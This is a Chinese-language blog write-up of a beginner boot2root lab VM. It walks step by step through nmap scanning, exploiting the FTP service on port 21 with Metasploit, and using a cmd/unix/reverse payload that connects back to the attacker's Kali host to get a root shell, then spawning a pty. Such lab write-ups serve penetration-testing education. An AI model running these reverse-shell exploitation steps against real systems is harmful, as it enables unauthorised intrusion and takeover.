首页 > 其他分享 >Basic_pentesting_1靶机渗透流程

Basic_pentesting_1靶机渗透流程

时间:2023-05-29 13:22:41浏览次数:31  
标签:set ip VM 192.168 pentesting 设置 Basic 靶机 payload

Basic_pentesting_1

Description

This is a small boot2root VM I created for my university’s cyber security group. It contains multiple remote vulnerabilities and multiple privilege escalation vectors. I did all of my testing for this VM on VirtualBox, so that’s the recommended platform. I have been informed that it also works with VMware, but I haven’t tested this personally.

This VM is specifically intended for newcomers to penetration testing. If you’re a beginner, you should hopefully find the difficulty of the VM to be just right.

Your goal is to remotely attack the VM and gain root privileges. Once you’ve finished, try to find other vectors you might have missed! If you enjoyed the VM or have questions, feel free to contact me at: [email protected]

If you finished the VM, please also consider posting a writeup! Writeups help you internalize what you worked on and help anyone else who might be struggling or wants to see someone else’s process. I look forward to reading them!

信息收集

nmap 192.168.157.0/24

没有得到可用信息,检测一下版本

nmap -sV  192.168.157.141

-sV: 版本检测,可以检测运行服务的版本信息

msf探测漏洞

开启msf,搜索对应的漏洞

选择我们要利用的漏洞:

use 0

打开我们要设置的参数列表:

show options

required就是告诉是否要手动设置参数,yes就是要,no就是不用,这里要设置的只有rhosts,就是目标机器的ip地址,rport就是目标机器的端口,这里已经帮我们设置好了为21,所以现在只需设置rhosts就可以了

通过set命令,设置目标ip地址:

set RHOSTS 192.168.157.141

下一步,设置payload:

先看有什么payload可以使用:

show payloads

这里使用第三个payload:反向连接的payload

set payload cmd/unix/reverse

接下来查看payload的option设置:

show options

需要我们设置payload使用的机器ip地址LHOST,也就是我们kali的ip地址

设置LHOST:

set LHOST 192.168.157.131

开始运行

run 

sudo -l

此时我们已经getshell,并且是root权限

进入交互模式:

python3 -c 'import pty;pty.spawn("/bin/bash")' 

此时靶机已经打通,成功拿下

简单总结

主要熟悉了msf的使用

标签:set,ip,VM,192.168,pentesting,设置,Basic,靶机,payload
From: https://www.cnblogs.com/Mar10/p/17440157.html

相关文章

  • VulnHub-Narak靶机渗透流程
    VulnHub-NarakDescriptionNarakistheHinduequivalentofHell.YouareinthepitwiththeLordofHellhimself.CanyouuseyourhackingskillstogetoutoftheNarak?Burningwallsanddemonsarearoundeverycornerevenyourtrustytoolswillbetra......
  • Vulnhub: AI-WEB-1.0靶机
    kali:192.168.111.111靶机:192.168.111.132信息收集端口扫描nmap-A-sC-v-sV-T5-p---script=http-enum192.168.111.132robosts.txt提示两个目录m3diNf0目录下存在info.php漏洞利用se3reTdir777目录下的输入框存在sql注入从phpinfo页面中得知网站根路径利用s......
  • Me-and-My-Girlfriend-1靶机渗透流程
    Me-and-My-Girlfriend-1靶机下载Description:ThisVMtellsusthatthereareacoupleofloversnamelyAliceandBob,wherethecouplewasoriginallyveryromantic,butsinceAliceworkedataprivatecompany,"CebanCorp",somethinghaschangedfr......
  • DAO和增删改查通用方法--BasicDao
    1. 先分析一个问题  852apache-dbutils+ Druid简化了JDBC开发,但还有不足: 1. SQL 语句是固定,不能通过参数传入,通用性不好,需要进行改进,更方便执行增删改查2.对于select 操作,如果有返回值,返回类型不能固定,需要使用泛型3.将来的表很多, 业务需求复杂,不可能只靠一个Java类完成4......
  • Vulnhub靶机DevRandom CTF1.1详细测试过程
    DevRandomCTF:1.1靶机信息名称:DevRandomCTF:1.1地址:https://www.vulnhub.com/entry/devrandom-ctf-11,450/识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/DevRandom]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:192.168.56.0/24|S......
  • Basics of Neural Network Programming
    目录BasicsofNeuralNetworkProgrammingLogisticRegressionBasicsofNeuralNetworkProgrammingLogisticRegressiongivenx,want\(\hat{y}=P(y=1|x)\),\(x\in\R^{n_x}\)\(\hat{y_1}=w_{11}*x_{11}+w_{12}*x_{12}+\dots+w_{1n_x}*x_{1n_x}+b_1\).P......
  • Nginx配置Basic_Auth登录认证
    一般来说,僵尸网络的扫描行为都是全互联网大范围进行的,并且所探测的漏洞大多都是一些新爆发的cms漏洞(ThinkPHP)、或者是一些常见的框架组件漏洞(如Struts2),针对该特性,我们可以配置BasicAuth登录认证(ngx_http_auth_basic_module),来减少僵尸网络对我们web服务的侵扰。注:BasicAuth......
  • op-basic
    一tcp协议的三次握手和四次挥手1.1三次握手原理:第一次握手:客户端发送一个带有SYN(synchronize)标志的数据包给服务端;第二次握手:服务端接收成功后,回传一个带有SYN/ACK标志的数据包传递确认信息,表示收到信息;第三次握手:客户端再回传一个带有ACK标志的数据包,表示已收到,握手结束。......
  • RabbitMQ消费消息方法basicConsume
    RabbitMQ-消费消息 Address[]addresses=newAddress[]{newAddress(IP_ADDRESS,PORT)};/***1.建立连接工厂*/ConnectionFactoryconnectionFactory=newConnectionFactory();connectionFactory.setUsername(USER_NAME);......
  • 通过nc获取靶机的反弹Shell [靶机实战]
    1、环境Kali:172.30.1.3/24靶机(Funbox9):172.30.1.129/242、信息收集通过nmap扫描此主机,我们需要获取到开放的端口以及服务的Banner1nmap-sV-T5-A172.30.1.129 通过扫描我们发现,目标主机开放着21端口,服务Banner是vsftpd2.3.4,并且允许匿名登录我们尝试ftp匿名连......